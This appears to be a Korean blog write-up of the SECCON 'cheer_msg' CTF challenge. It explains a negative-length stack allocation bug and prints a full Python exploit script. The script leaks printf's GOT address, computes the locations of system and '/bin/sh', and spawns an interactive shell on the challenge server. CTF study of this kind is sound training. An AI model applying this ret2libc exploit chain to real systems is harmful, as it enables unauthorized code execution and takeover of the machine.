# file
cheer_msg: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ed63cb3a04480eeb344d7d567c893805a1119f2f, not stripped
해당 바이너리는 실행했을 때 message 의 길이와 해당 길이만큼의 message, name 을 입력을 받고, name 과 message를 출력하는 프로그램이다.
getint 에서는 우리가 입력한 message_len 값을 받아온다. 그리고 어떤 연산을 거친 후 그 결과값만큼 스택에 공간을 할당한다.
이 연산에 message_len 값을 이용하고 있기 때문에 이 부분을 잘 이용한다면 공간 할당 과정에서 message 함수가 호출 됫을 때 ebp 위치를 control 할 수 있다.
message 함수 내에 2번째 getnline() 호출 부분이다. name을 입력받을 때 ebp-4c 의 주소를 eax 에 담고 있다.
즉, main() 의 ebp+4(ret) 주소로 조작한다면 name을 입력받을 때 main 함수의 ret 주소을 덮어쓸 수 있게되고 우리가 원하는 어떤 것을 할 수 있게 된다.
- - - - - - - - - - - - - - - - - - - - - - - - - - -exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -
from struct import *
from socket import *
from telnetlib import *
import time
p = lambda x : pack("<L", x)
up = lambda x : pack("<L", x)[0]
printf_plt = 0x08048430
printf_got = 0x0804a010
main = 0x080485ca
printf_offset = 0x4d410
system_offset = 0x40310
binsh_offset = 0x16084c
s = socket(AF_INET, SOCK_STREAM)
s.connect(('checkmsg.pwn.seccon.jp', 30527))
payload = p(printf_plt) + p(main) + p(printf_got)
print s.recv(1024)
time.sleep(0.3)
s.send("-150\n")
time.sleep(0.3)
print s.recv(1024)
s.send(payload + "\n")
time.sleep(1)
data = s.recv(1024)
# leak printf@got
printf_libc = up(data[36:40])
print "[*] printf_libc = " + hex(printf_libc)
system_libc = printf_libc - printf_offset + system_offset
print "[*] system_libc = " + hex(system_libc)
binsh_addr = printf_libc - printf_offset + binsh_offset
print "[*] binsh_addr = " + hex(binsh_addr)
r_payload = p(system_libc) + "AAAA" + p(binsh_addr)
print data
time.sleep(0.3)
s.send("-150\n")
time.sleep(1)
print s.recv(1024)
s.send(r_payload + "\n")
t = Telnet()
t.sock = s
t.interact()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[HolyShield 2016 CTF] pwnit (0) | 2016.12.19 |
---|---|
[CodeGate 2016 CTF] Watermelon (0) | 2016.12.14 |
[CodeGate 2015 CTF] bookstore (0) | 2016.11.14 |
[CodeGate 2015 CTF] systemshock (0) | 2016.07.30 |
[CodeGate 2015 CTF] yocto (0) | 2016.07.06 |